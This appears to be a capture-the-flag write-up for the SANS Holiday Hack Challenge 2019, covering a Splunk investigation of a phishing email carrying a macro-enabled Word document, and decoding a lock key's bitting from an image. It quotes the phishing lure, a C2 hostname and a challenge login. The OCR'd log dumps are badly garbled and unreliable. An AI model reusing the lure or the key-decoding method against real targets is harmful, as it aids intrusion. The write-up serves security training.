- outlook
- smtp

Looking through logs and pivoting on specific fields leads to the refined search criteria below.

Search Range: All time Search:

• smtp| top limit=100 "results{}.workers.iocextract.email{}"

splunk>enterprise App: EIFU SOC +	eif •	Messages •	Settings •	Activity •	Help •	Find	Q
						A #D	EIF U SOC
New Search					1	Save As 🔻	Close
1 smtp top limit=100 "results().workers.iocextract.enail()*						All time	• Q
✓ 42 events (8/23/19 2:24:31.000 PM to 12/30/19 4:28:57.000 AM) No Event Sampling ▼			Job • II	= - a	6 ±	• Smar	t Mode •
Events Patterns Statistics (26) Visualization							
100 Per Page * Z Format Preview *							
results[].workers.locextract.email[] =	1		count 4	1		P	ercent 0 /
ubuntu8ec2=54-89=48=176.compute=1.amazonaws.com				58			138.095238
carl.banas@faculty.elfu.org				23			54.761905
Carl.Banas@faculty.elfu.org				2			4.761905
yule.toffeetoes8students.elfu.org				1			2.380952
wunorse.openslae0students.elfu.org				1			2.380952
turtledove.fairytree8students.elfu.org				1			2.380952
sugerplum.mary@students.elfu.org				1			2.380952
sparkle.redberry@students.elfu.org				1			2.380952
sixpence.snowcane8students.elfu.org				1			2.380952
shinny.upatree0students.elfu.org				1			2.380952
robin.wistercrystals@students.elfu.org				1			2.380952
plum.sparklepie@students.elfu.org				1			2.380952
pepper.minstix@students.elfu.org				1			2.380952
partridge.sugartree0students.elfu.org				1			2.380952
minty.candycane@students.elfu.org				1			2.380952
merry.fairybubbles@students.elfu.org				1			2.380952
holly.evergreen#students.elfu.org				1			2.380952
cupcake.silverlog0students.elfu.org				1			2.380952

Save the list of 26 emails returned to email-log-data.txt file. Then filter/analyze further using these commands:

cat email-log	-data.txt sed "s/\s\+/	/g" cut	t -f 1	-d ' ' sed
"s/ //g" tr	"[:upper:]" "[:lower:]"	sort	uniq >	email-list.txt

cat email-list.txt | grep "students\|eifu.org" | wc -l



Allswel. <mark>21</mark>

Results

Training Question #6: What was the password for the zip archive that contained the suspicious file?

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000 Search: smtp zip password

1 8/25/19 5:28:14.000 PM re: holiday cheer assignment submission RE: Holiday Cheer Assignment Submission carl banas <carl.banas@faculty.elfu.org> Carl Banas <Carl.Banas@faculty.elfu.org>

("results": [{"size": 6852, "payload_id": "b605ccd8-c15b-461c-81a1-4ea4ccb8a598", "payload_meta": {"should_archive": true, "should_scan": true, "extra_data": {"filename": "157435729 7.Vca01145e4aM628018.ip-172-31-47-72", "source_dir": "/home/ubuntu/Maildir/new"}, "dispatch_to": []}, "plugins_run": {"workers": ["smtp"], "archivers": ["filedir"]}, "extracted_fro m": [], "extracted_by"; [], "workers": ("smtp": ("return-path": "<Carl.Banas@faculty.elfu.org>", "x-original-to": "ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com", "delivered-to" "ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com", "received": "from NAM03-CO1-obe.outbound.protection.outlook.com (mail-eopbgr790115.outbound.protection.outlook.com [40.107.79.11 5])/tby ec2-54-89-48-176.compute-1.amazonaws.com (Postfix) with ESMTP id 5983245E49\tfor <ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com>; Wed, 29 May 2019 17:28:17 +0000 (UTC)\nfr om BN7PR13M82547.namprd13.prod.outlook.com (52.135.254.30) by BN7PR13M82275.namprd13.prod.outlook.com (52.135.253.156) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_R SA_WITH_AES_256.GCM_SHA384) id 15.20.2474.12; Wed, 29 May 2019 17:28:14 #0000\nfrom BN7PR13M02547.namprd13.prod.outlook.com ([fe80::c919:fe4e:682f:4364]) by BN7PR13M02547.namprd13.p rod.outlook.com ([fe80::c919:fe4e:682f:4364%3]) with mapi id 15.20.2495.010; Wed, 29 May 2019 17:28:14 #0000", "arc-seal": "i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv =none; b=CTN+N68sw9N9Zqqscrx6Yg1EBWZXyLJyUB5XWINwfK3A/UHSmy1i1MKe4y5dVNpwK1nktIRWAWAA0XnTJAU9xvIqn4qw6o1SzwAs19zqLLaKBYETFpfeeSZ0J2zGJseTFJa000C21tjjrLwESG0XKP50c8Q94tew9Wwpj+k/5jD XynAwCE5uCys4TjHj0AdHm5ZwwUB40h70P4agubgvX+KMCPsR+8wlXWwPoaMGP9NPgFKpt/1De1bal@cwYAvwxHjaWajwaZuLMC+Rd4BCmp/ntuTWP0I290uqkHCS+shE50V/ZUL6fBDwc0xk6fa5ZdpXr/0Ks4Rs9g4KyNxA==*, "arc-m essage-signature": "i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector9901; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck; b h=eho+H0Pl9yisNysjzTISQyQXumAlQpgfX6q0TBNYUTI=; b=HsAvTiwhVzGc0FS7yY0+C4dF8v8C7vNg1LAX0t9wq0A8fdYBxp10j1uPSziUI0WFpWnEqay+rcnmeq/Hq/67Q+uJp3y+/AyyF68RDq8xmrjh0vZPwvLfhYSsnP2YcoI98gL I+AX06X+zR3ZjC90rFMGEVuptNPYPx1VoCzYzY20V0Nn1eU7ypb9xue9B/MDxpINz7ZtY0N8ak3r6UqfSbrNeA7cnsAFWk145720auN405Cdqbfw1v113swxoyDdry6YFDAFPynPizwpXjqAhy+6u8B00LfSkUydeST4ye0XQZ6LVrQG+bLjs Zi3ongSlhdhBYtBg01q9bYt3aWNcw=", "arc-authentication-results": "i=1; mx.microsoft.com 1; spf=pass smtp.mailfrom=faculty.elfu.org; dmarc=pass action=none header.from=faculty.elfu.org; ate:Subject:Message=ID:Content=Type:HINE=Version:X-MS-Exchange=SenderADCheck; bh=eho+H0P19yisMysjzTisQyQXumAlQogfX6q0TBNYUTI=; b=hCvY101KfNjT01zy9iCJIC7gIoFZ0q9sSM/+yjWFDRcg0YnCClVR BBh/LhmgAb6Uz+302En4z+Wc/hqCqa56CfPY6bXMn25tbMRIPevfe3ioRj8/CFX9yaIVcJCgfynctvGTImjFKDNLNDY0RhkqFXgr3VXySG82ydMmamd2M=", "from": "Carl Banas <Carl.Banas@faculty.elfu.org>", "to": ban Empode Sozial YMC/Holdador Troomstand From Solid S fictype": "Email", "x-ms-office365-filtering-correlation-id": "3e9b9e70-2afa-48aa-2c2e-08d76ea83094", "x-ms-traffictypediagnostic": "BN7PR13MB2275:|BN7PR13MB2275:", "x-microsoft-ant Intry =: email: , xmis-officesop=intering=contrating=contration=10: secop=ro=cal=a-acae=coctrosop=0, xmis-tal=trypetagnostic: bm/rmismozz/s: bm/rmismozz/s: , xmicrosoft=anc ispam=prvs: " < MR/PRI3ME275004E00860104227286FX4E0880H7PRI3ME2275.namprd13.prod outlook.com> * xmis-exchange=transport=forded* "true", * xmis-exc 1)(53546011)(305945005)(102836004)(74316002)(5024004)(14444005)(25786009)(14454004)(71190400001)(6116002)(3846002)(6246003)(81156014)(9686003)(6436002)(55016002)(8936002)(8036 1/(3394011)(39934001)(1250004)(/250004)(/2510002)(2024004)(/444000)(2530007)(14450004)((1190020)(2490002)(526000)(50150004)(25300003)(5150004)(250002)(505000)(50150004)(25300003)(5150004)(2530007)(5150005)(251150017)(251150017)(25111)(25117)(25111 6pe9221Vm44jrCbCBNkCoOl3jx2UcK6pFjHGlm5YXyiuFU9g95mFBmfZSswd7sloub3Tvarbmb0bMXK99dFjpHnyfprVnybygFvjTytY1Owas5j9/96WA1x8URTk142OHUyRTBIIS8ixWgPURAsWs21144bpRTjxfHTTmric7b4MNR1+DBJrs WYgTyXV4ZzEkJM2Qa0UDNaucDDhe01wSIhei1jw80ZqymAYgsKcDYHGN0WmdQoI3W", "content-type": "text/plain; charset=\"uff=8\"", "content-transfer-encoding": "base64", "mime-version": "1.0", "x migiyavizzkanzageounadcuber line in secting such maximum cype : textplain, character uties (" uti t only not included an image per the instructions, but your assignment is identical to another student's assignment. This means your grade will be 0/100. \r\n\n-csb\r\n\r\n-csb\r\n\r\n------Original Message-----\r\nFrom: Bradly Buttercups <Bradly.Buttercups@eIfu.org> \r\nSent: Sunday, August 25, 2019 9:18 AM\r\nTo: Carl Banas <Carl.Banasefaculty.elfu.org>\r\nSubject: H oliday Cheer Assignment Submission\r\n\r\nProfessor Banas, I have completed my assignment. Please open the attached zip file with password 123456789 and then open the word docum ent to view it. You will have to click \"Enable Editing\" then \"Enable Content\" to see it. This was a fun assignment. I hope you like it! --Bradly Buttercups\r\n\r\n\r\n", "body html": **}}, "archivers": {"filedir": {"path": "/home/ubuntu/archive/6/0/e/6/0/60e608b8852a18cb3a57e16732f3f19fa87793bb"}}}, {"size": 1562, "payload_id": "48283659-325b-4d53-b413-07 nmm. jj, activers. (livers. (livers. (livers.) nomerodomical clivers/vero/orodeweeweeweeweemed accoustre/clisits/ar/sistaar/sis 4.221.181.141, "ipv6": ["fe80:cc91;fe4e:682f:4364"], "email": ["ubuntu@cc2=46=96#79015.outboute-1.mazonaws.com", "Carl.Banas@faculty.elfu.org", "Bradly.Buttercups@eifu.org"], "do main": ["faculty.elfu.org", "bn/prismb2247.namprd13.prod.outlok.com", "mail=eopbgr79015.outbound.protection.outlok.com", "eifu.org", "eifu.org", "hn/prismb2275.namprd13.prod.outlok.com", "mail-eopbgr79015.outbound.protection.outlok.com", "eifu.org", "hn/prismb2275.namprd13.prod.outlok.com", "mail-eopbgr79015.outb c2-54-89-48-176.compute-1.amazonaws.com", "nam03-co1-obe.outbound.protection.outlook.com"]}}, "archivers": {}}, "equest_meta": {"archive_payloads": true, "source": null, "extra_da ta": {}}, "errors": [], "time": "2019-11-21T17:28:17.729742", "decorators": {}, "scan_id": "0e6c5c38-ab6b-4545-86be-c682273d0484"}

Then expand raw text and you will see this:

Professor Banas, I have completed my assignment. Please open the attached zip file with password **123456789** and then open the word document to view it. You will have to click \"Enable Editing\" then \"Enable Content\" to see it. This was a fun assignment. I hope you like it! --Bradly Buttercups

Answer: 123456789

Results

Training Question #7:

What email address did the suspicious file come from?

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000 Search: smtp "results{}.workers.iocextract.email{}"="bradly.buttercups@eifu.org"

1 8/25/19 5:28:14.000 PM

re: holiday cheer assignment submission RE: Holiday Cheer Assignment Submission carl banas <carl.banas@faculty.elfu.org> Carl Banas <Carl.Banas@faculty.elfu.org>

("results": [("size": 6852, "payload_id": "b605ccd8-c15b-461c-81a1-4ea4ccb8a598", "payload_meta": {"should_archive": true, "should_scan": true, "extra_data": {"filename": "157435729 7.Vca01145e4aM628018.ip-172-31-47-72", "source_dir": "/home/ubuntu/Maildir/new"}, "dispatch_to": []), "plugins_run": {"workers": ["smtp"], "archivers": ["filedir"]), "extracted_fro m": [], "extracted_by": [], "workers": ("smtp": ("return-path": "<carl.Banas@faculty.elfu.org"), "*-original-to": "ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com", "delivered-to" "ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com", "received": "from NAM03-CO1-obe.outbound.protection.outlook.com (mail-eopbgr790115.outbound.protection.outlook.com [40.107.79.1] 5])(tby ec2-54-89-48-176.compute-1.amazonaws.com (Postfix) with ESMTP id 5983245E49\tfor <ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com>; Wed, 29 May 2019 17:28:17 +0000 (UTC)\nfr om BN7PR13M82547.namprd13.prod.outlook.com (52.135.254.30) by BN7PR13M82275.namprd13.prod.outlook.com (52.135.253.156) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_R SA_WITH_AES_256_GCM_SHA384) id 15.20.2474.12; Wed, 29 May 2019 17:28:14 *0000\nfrom BN7PR13MB2547.namprd13.prod.outlook.com ([fe80::c919:fe4e:682f:4364%]) by BN7PR13MB2547.namprd13.prod.outlook.com ([fe80::c919:fe4e:682f:4364%]) with mapi id 15.20.2495.010; Wed, 29 May 2019 17:28:14 *0000", "arc-seal": "i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv =none; b=CTN+N68sw9N9Zqqscrx6Yg1EBWZXyLJyUB5XWINwfK3A/UHSmy1i1MKe4y5dVNpwK1nktIRWAWAA0XnTJAU9xvIqn4qw6o1SzwAs19zqLLaKBYETFpfeeSZ0J2zGJseTFJa000C21tjjrLwESG0XKP50c8Q94tew9Wwpj+k/5jD XynAwCE5uCys4TjHj0AdHm5ZwwUB40h70P4agubgvX+KMCPsR+8wlXWwPoaMGP9NPgFKpt/1De1bal@cwYAvwxHjaWajwaZuLMC+Rd4BCmp/ntuTWP0I290uqkHCS+shE50V/ZUL6fBDwc0xk6fa5ZdpXr/0Ks4Rs9g4KyNxA==*, "arc-m essage-signature": "i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector9901; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck; b h=eho+H0Pl9yisNysjzTISQyQXumAlQpgfX6q0TBNYUTI=; b=HsAvTiwhVzGc0FS7yY0+C4dF8v8C7vNg1LAX0t9wq0A8fdYBxp10j1uPSziUI0WFpWnEqay+rcnmeq/Hq/67Q+uJp3y+/AyyF68RDq8xmrjh0vZPwvLfhYSsnP2YcoI98gL I+AX06X+zR3ZjC90rFMGEVuptNPYPx1VoCzYzY20V0NnleU7ypb9xue9B/MDxpINz7ZtY0N8ak3r6UqfSbrNeA7cnsAFWk145720auN405Cdqbfwlv113swxoyDdry6YFDAFPynPizwpXjqAhy+6u8B00LfSkUydeST4ye0XQZ6LVrQG+bLjs Innovich2_low:netuputerritoc.ll/commetuputerritoc.ll/commeta_low:netuputerritoc.ll/commeta_ bon/Lmgzobu2r3UznazyWc/nqcqasctrtoxMm2stoWHIreVresionjs/rtx9yalv2LugrynctvolimgrxMuruoHMmdrgfr3Vy30e3/dWHMDZM*, trom : Carl banas Ca fictype": "Email", "x-ms-office365-filtering-correlation-id": "3e9b9e70-2afa-48aa-2c2e-08d76ea83094", "x-ms-traffictypediagnostic": "BN7PR13MB2275: [BN7PR13MB2275:", "x-microsoft-ant ispam_prvs": "GN/PRI3M2275004ED08691C422C7288FA/F4608H/PRI3M82275.namprd13.prod outlook.com", */ms-exchange-transport-forked": "True", */ms-exchange-transport-forked: "Tru 03)(136003)(346002)(189003)(199004)(13464003)(436600001)(186003)(7736002)(7120040001)(6506067)(26065)(225853002)(586005)(76176011)(11346402)(446003)(33656002)(31656002)(586005)(76176011)(11346402)(446003)(33656002)(586005)(76176011)(11346402)(446003)(33656002)(586005)(76176011)(11346402)(446003)(4365002)(7120040001)(6506007)(26065)(225853002)(586005)(76176011)(11346402)(446003)(4365002)(7120040001)(6506007)(26065)(225853002)(586005)(76176011)(11346402)(446003)(33656002)(7120040001)(6506007)(26065)(225853002)(586005)(76176011)(11346402)(446003)(33656002)(7120040001)(6506007)(26065)(225853002)(586005)(76176011)(11346402)(446003)(33656002)(7120040001)(6506007)(26065)(225853002)(586005)(76176011)(11346002)(446003)(33656002)(7120040001)(650007)(26065)(225853002)(586005)(76176012)(712004001)(650007)(77002)(7120040001)(650007)(77002)(7120040001)(650007)(77002)(7120040001)(650007)(77002)(7120040001)(650007)(77002)(7120040001)(650007)(77002)(7120040001)(77002)(7120040000000)(770002)(770002)(770002)(770002)(770002)(770002)(770002)(770002)(77002)(77002)(7120000000000)(770002)(770 1)(53546011)(305945005)(102836004)(74316002)(5024004)(14444005)(25786009)(14454004)(71190400001)(6116002)(3846002)(6246003)(81156014)(9686003)(6436002)(55016002)(8936002)(8036 1/(3354011)(30354001)(12560003)(12560003)(12560002)(2024004)(144540003)(25360002)(14560004)(17110002001)(25460003)(2546003)(2546003)(2546003)(254603)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2546003)(2 6pe9221Vm44j+CbC8Nk0x013jx2UcK6pFjH0lm5YXy1uFu9g95mFBmfZSswd7sloub3Tvarbmb0bMXK9dFjpHnyfprVnybyrYJTytY10was5j9/96MALx6URTk142OHUyRTB1IS8ixWgPURAsWs21144bpRTjxfHTTmric7b4MNR1+DBJrs WYgTyXV4ZEkJM2Qa0UDNaucD0he01wSIhei1jw80ZaymAYgsKcDYHGN0WmdQ0I3W", "content-type": "text/plain; charset=\"utf-8\"", "content-transfer-encoding": "base64", "mime-version": "1.0", "x WigTyXV42EkNZQa0UDNaucDDNedVsDNedVsTesTyx82CyM4ROWmk0021W", "content-type: "text/plain; charset~\'utf-8\", "content-transfer-encoding: "base64", "mime-version": 1.0", "x originatororg: "faculty.entfuncter", "x-ms-exchange-crosstenant-network-message-1d"; "3e9be70-2afa-48a-2c2e-08bfce3304", "x-ms-exchange-crosstenant-time"; Text 2019 17:28:14.2823 (UTC)", "x-ms-exchange-crosstenant-tromentityheader": "Hosted", "x-ms-exchange-crosstenant-time"; Text anallboxtype: "HOSTED", "x-ms-exchange-crosstenant-tromentityheader": "Hosted", "x-ms-exchange-crosstenant-time"; Text anallboxtype: "HOSTED", "x-ms-exchange-crosstenant-timer; "WoofAvivVMp/DMM:DMEXPTED", "X-ms-exchange-trosstenant-time"; "HOSTED", "x-ms-exchange-trosstenant-timer; "NoofAvivVMp/DMM:DMEXPTED", "x-ms-exchange-trosstenant-timer; "BNTPRI3ME275", "body": "Bradly, \trovinsetimer; "BNTPRI3ME275", "body": "Bradly, \trovinsetimer; assignment (which was not easy, by the way) and it seems you have no tonly not included an image per the instructions, but your assignment is identical to another student's assignment. This means your grade will be 0/100. \trivin\trivin-timer; bit/\trivinsetimer; bit/to:Stude, bit assets assignent (which was not easy by the way) by the way) by the way and it seems your grade will be 0/100. \trivin-timer; bit your charge trivinsetimer; bit your charge trivinsetim oliday Cheer Assignment Submission\r\n\r\n\r\nProfessor Banas, I have completed my assignment. Please open the attached zip file with password 123456789 and then open the word docum ent to view it. You will have to click \"Enable Editing\" then \"Enable Content\" to see it. This was a fun assignment. I hope you like it! --Bradly Buttercups\r\n\r\n\r\n\r\n", "body_ html": ""}), "archivers": ("filedir": ("path": "/home/ubuntu/archive/6/0/60e608b8852318cb3a57e16732f3f19fa87793bb"})}, ("size": 1562, "payload_id": "48283659-325b-4d53-b413-07 num. jj, attracts (rises , (rises , (rises , r c2-54-89-48-176.compute-1.amazonaws.com", "nam03-co1-obe.outbound.protection.outlook.com"]}}, "archivers": {}}, "equest_meta": {"archive_payloads": true, "source": null, "extra_da ta": {}}, "errors": [], "time": "2019-11-21T17:28:17.729742", "decorators": {}, "scan_id": "0e6c5c38-ab6b-4545-86be-c682273d0484"}

Having a list of email addresses that sent email to Professor Banas and knowing from training question #6 that it was sent from "Bradly Buttercups", the answer is the email of Bradly Buttercups.

Answer: bradly.buttercups@eifu.org

Results

Training Question 7: Correct

Final Challenge Question:

What was the message for Kent that the adversary embedded in this attack?

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:32:00.000 Search: smtp ubuntu buttercups



			iocextract
	results[].payload_meta.extra_data.charset ▼		null
			nuli
	results[].payload_meta.extra_data.content-		null
	description		null
	results[].payload_meta.extra_data.disposition •		attachment
			attachment
	results[].payload_meta.extra_data.filename •		1574356658.vca01i45e44m66761
			buttercups_hol404_assignment.z
			19th century holiday cheer assign
			[content_types].xml
			document.xml
			styles.xml
			settings.xml
			vbadata.xml
			fonttable.xml
			websettings.xml

This will list all the File Archive locations for the individual files contained in the zip file

results[].payload_meta.extra_data.index •

L

vbaproject.bin document.xml.rels vbaproject.bin.re theme1.xml item1.xml itemprops1.xml item1.xml.rels .rels app.xml core.xml

Buttercups_HOL404_assignment.zip 19th Century Holiday Cheer Assignment.d

17.ip-172-31-47-72 1574356658.Vca01l45e44M667617.ip-172-31-47-72

ment.docn

Then find all the urls to the email archive, download each one to find the one for core.xml

http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/7/f/6/3/a/7f63ace9873ce7326199e464adfdaad76a4c4e16 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/b/e/7/b/9/be7b9b92a7acd38d39e86f56e89ef189f9d8ac2d http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/e/a/4/4/1ea44e753bd217e0edae781e8b5b5c39577c582f http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/e/e/b/4/0/eeb40799bae524d10d8df2d65e5174980c7a9a91 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/8/f/3/3/18f3376a0ce18b348c6d0a4ba9ec35cde2cab300 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/2/a/8/0/f2a801de2e254e15840460f4a53e568f6622c48b http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/0/7/4/0/1074061aa9d9649d294494bb0ae40217b9c7a2d9 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/8/6/c/4/d/86c4d8a2f37c6b4709273561700640a6566491b1 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/a/2/b/b/1/a2bb14afe8161ee9bd4a6ea10ef5a9281e42cd09 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/4/0/d/c/1/40dc1e00e2663cb33f8c296cdb0cd52fa07a87b6 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/5/c/b/a/f5cba8a650d6ada98d170f1b22098d93b8ff8879 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/0/2/b/6/7/02b67cad55d2684115a7de04d0458a3af46b12c6 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/7/6/1/2/1761214092f5c0e375ab3bc58a8687134b7f2582 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/b/7/7/0/f/b770f3a79423882bdae4240e995c0885770022ef http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/d/7/a/b/9d7abf0ee4effcecad80c8bbfb276079a05b4342 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/e/9/2/1/1/e9211c706be234c20d3c02123d85fea50ae638fd http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/7/f/6/3/a/7f63ace9873ce7326199e464adfdaad76a4c4e16 http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af

core.xml is located here:

/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4

http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ%20Artifacts/home/ubuntu/archive/f/f/1/e/a/

•		Mozilla Firefox			$\overline{\mathbf{x}}$
elf elfu-soc.s3-website-us-ea X	+				
$\overleftarrow{\bullet}$ > C $\overleftarrow{\bullet}$	🗊 🔏 elf	u-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/f/1/e/a/	⊠ ☆	III\ C	≡
Last Modified	Size	Кеу			
2019-11-29T23:00:19.000Z	0.9 kB	ـــل fflea6f13be3faabd0da728f514deb7fe3577cc4			

slingshot@slingshot: ~/working

File Edit View Search Terminal Help

fixml version="1.0" encoding="UTF-8" standalone="yes"?>
fixml version="1.0" encoding="terms: And version" terms of the winter fixml version="standalone="terms:created" terms: created x="standalone="terms: watched: terms: watched: terms: created x="standalone="terms: watched: terms: te

V A X

"fflea6f13be3faabd0da728f514deb7fe3577cc4" [noeol][dos] 2L, 910C

Answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

Congratulations!

You found the message from the attacker. Be sure to record it somewhere safe for your writeup! Oh, and feel free to poke around here as long as you'd like!
aining	Contor	
ammy	Center	

Congratulations!

You found the message	from the attacker. Be sure

Challenge Question

vna	t was the message for Kent that the adversary embedded in this attack?		the king of the Winter Ca
	8		
ralr	Ing Questions	Status	
	What is the short host name of Professor Banas' computer?		sweetums
	What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of		ighty_and_Nice_2019_d
	the file. (Example: C:\temp\report.pdf)		
	What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy,baddies.com)		144.202.46.214.vultr.com
	What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)		oliday Cheer Assignment
	How many unique email addresses were ustad to send Holiday Cheer essays to Professor Banas? Please provide the numeric value.		21
	(Example: 1)		
	What was the password for the zip archive that contained the suspicious file?		123456789

ift.txt

ocm

bradly.buttercups@eifu.org

The answer to Objective 6 needed for the badge question is the string: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

What email address did the suspicious file come from?

🕝 6) Splunk

Difficulty: 🛔 🌲 🌲

Access <u>https://splunk.elfu.org/</u> as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.

ke you the king of the Winter Carnival.

Submit

📀 6) Splunk

Difficulty:

Access <u>https://splunk.elfu.org/</u> as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.

Congratulations! You have completed the Splunk challenge!



Objective 7 – Get Access to The Steam Tunnels

To achieve this Objective, you first need to gain access to the Dormitory area which is on the east side of the Quad. To access the Dorm area, you will need to talk to Tangle Coalbox and solve the Frosty Keypad challenge. There is a full write-up on that challenge in the Achievement section of this report.



Once you solve the Frosty Keypad challenge, you can enter the Dorm area. Heading east you will find Minty Candycane and continuing on east you will find an open dorm room door at the end of the hallway.



When you enter Minty's dorm room, you will be in a smaller area and no other players will be visible. There will appear a single NPC (non-player character) that will appear briefly and then quickly scamper towards the closet, closes the door and disappears.



https://www.youtube.com/watch?v=OQo2iyoqoT8

Also, in this room is a key cutter machine. Clicking on the key cutter shows that there is a 6 position bitting code can be set to cut a new key, but we don't know what do with this yet. Pressing the "Cut" button will create a key cut to the given numeric settings and then you can click on the new key image to save to your filesystem as a file.





(Key cutter also available directly at https://key.elfu.org)

If you try to follow Krampus into the closet you reach a dead-end and you are presented with a keyhole lock challenge.



Clicking on the keyhole in the center of the wall, brings up a keyring and a lock.



(Lock/key challenge also available directly at https://thisisit.elfu.org)

Clicking on the keyring prompts you to load a file from your local filesystem, so you need to have a file this will accept as a valid key. Putting it all together it seems we use the key cutter machine to create a key that will work on this lock in the closet.

But, how do we get the right bitting settings? Excellent help is available in one of the KringleCon 2019 talks called "Optical Decoding of Keys" given by Deviant Ollam in Track 5 in Hermey Hall or can be viewed directly at this link: https://www.youtube.com/watch?v=KUGFJnbkeLA In this talk, he describes how if a key is visible and/or you can obtain a sufficiently clear image of it, the bitting code can be determined through visual analysis. Although it was difficult to notice initially, the scampering Krampus we saw briefly earlier had a key hanging from his belt!



This image as displayed in the browser is too small to do any analysis, however maybe the image source used for the Krampus avatar is in a higher resolution and has more detail. Let's find out.

Accessing the Firefox developer tools (F12), then going to the Inspector tab and then searching for ".camera" and expanding this out we find the objects that are drawn for this room including a <div> object called "krampus scampering". To the right of this entry the CSS defines an image for this character.



Displaying this image at full size shows a clear image of the key:



Selecting the key itself, rotating it using GIMP and doing a little image cleanup, results in a much clearer image of just the key:

Now, going back to Deviant Ollam's talk, he provides templates for various key/lock manufacturers which can be overlaid over a key image to determine the bitting pattern. The last piece of information needed is the key/lock manufacturer. This can is revealed by taking a closer look at the lock image from the closet (Can be seen better here: https://thisisit.elfu.org/?challenge=bitting-keyhole)



We now know the lock is **Schlage**! We will use the Schlage template provided by Deviant Ollam here: <u>https://github.com/deviantollam/decoding/tree/master/Key%20Decoding</u>

It is possible using GIMP to overlay the Schlage template image as a layer on top of the key image we got from the Krampus avatar and determine the key bitting sequence:



The key bitting sequence is: 1-2-2-5-2-0 (Hey, what a coincidence! - 12/25/20 - Christmas day 2020!)

Using this in the key cutter machine, will produce the following:



You can click on the key to save it to the filesystem:



Then go back into Minty's closet, click on the keyhole, and then click on the keychain to load the key:



Hover the key over to the lock and click. The key turns and...



Entering through the secret entrance in the closet leads you into the Steam Tunnels:



Go around the corner to find Krampus!



Click on Krampus to dialog with him and he reveals his full name and that he's the one that took the Turtle doves:

